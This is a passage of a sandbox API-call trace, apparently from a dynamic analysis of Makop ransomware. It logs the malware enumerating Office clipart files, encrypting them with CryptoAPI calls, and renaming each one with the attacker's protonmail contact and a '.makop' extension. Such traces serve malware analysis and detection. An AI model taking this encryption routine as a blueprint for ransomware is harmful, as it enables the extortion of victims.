lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.172] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.172] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.172] GetProcessHeap () returned 0x48a0000 [0130.172] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.173] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.173] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.174] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.174] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.174] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.174] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5398, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5398, lpOverlapped=0x0) returned 1 [0130.176] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x53a0, dwBufLen=0x53a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x53a0) returned 1 [0130.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.176] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x53a0, lpOverlapped=0x0) returned 1 [0130.176] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.177] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.177] SetEndOfFile (hFile=0xf0) returned 1 [0130.186] GetProcessHeap () returned 0x48a0000 [0130.186] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.186] GetProcessHeap () returned 0x48a0000 [0130.186] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.186] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.188] CloseHandle (hObject=0xf0) returned 1 [0130.189] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0130.189] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0130.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.190] GetProcessHeap () returned 0x48a0000 [0130.190] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.190] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.190] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0130.194] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.194] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.194] GetProcessHeap () returned 0x48a0000 [0130.194] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.194] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.195] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.195] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.195] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.195] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.195] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.196] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.196] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.196] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.196] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x366e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x366e, lpOverlapped=0x0) returned 1 [0130.198] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3670, dwBufLen=0x3670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3670) returned 1 [0130.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3670, lpOverlapped=0x0) returned 1 [0130.198] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.199] SetEndOfFile (hFile=0xf0) returned 1 [0130.205] GetProcessHeap () returned 0x48a0000 [0130.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.205] GetProcessHeap () returned 0x48a0000 [0130.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.205] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.207] CloseHandle (hObject=0xf0) returned 1 [0130.207] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0130.207] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0130.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.208] GetProcessHeap () returned 0x48a0000 [0130.208] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.208] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.208] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0130.620] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.620] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.620] GetProcessHeap () returned 0x48a0000 [0130.620] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.621] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.621] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.621] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.621] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.621] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.621] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.622] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.622] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x273e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x273e, lpOverlapped=0x0) returned 1 [0130.623] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2740, dwBufLen=0x2740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2740) returned 1 [0130.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.623] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2740, lpOverlapped=0x0) returned 1 [0130.624] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.624] SetEndOfFile (hFile=0xf0) returned 1 [0130.631] GetProcessHeap () returned 0x48a0000 [0130.631] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.631] GetProcessHeap () returned 0x48a0000 [0130.631] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.631] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.633] CloseHandle (hObject=0xf0) returned 1 [0130.633] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0130.633] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0130.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.634] GetProcessHeap () returned 0x48a0000 [0130.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.635] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.635] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.635] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0130.639] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.639] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.639] GetProcessHeap () returned 0x48a0000 [0130.639] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.639] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.639] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.639] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.640] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.640] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.641] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.641] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.641] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf36, lpOverlapped=0x0) returned 1 [0130.641] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf40, dwBufLen=0xf40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf40) returned 1 [0130.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.642] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf40, lpOverlapped=0x0) returned 1 [0130.642] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.642] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.642] SetEndOfFile (hFile=0xf0) returned 1 [0130.648] GetProcessHeap () returned 0x48a0000 [0130.649] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.649] GetProcessHeap () returned 0x48a0000 [0130.649] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.649] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.650] CloseHandle (hObject=0xf0) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0130.651] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0130.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 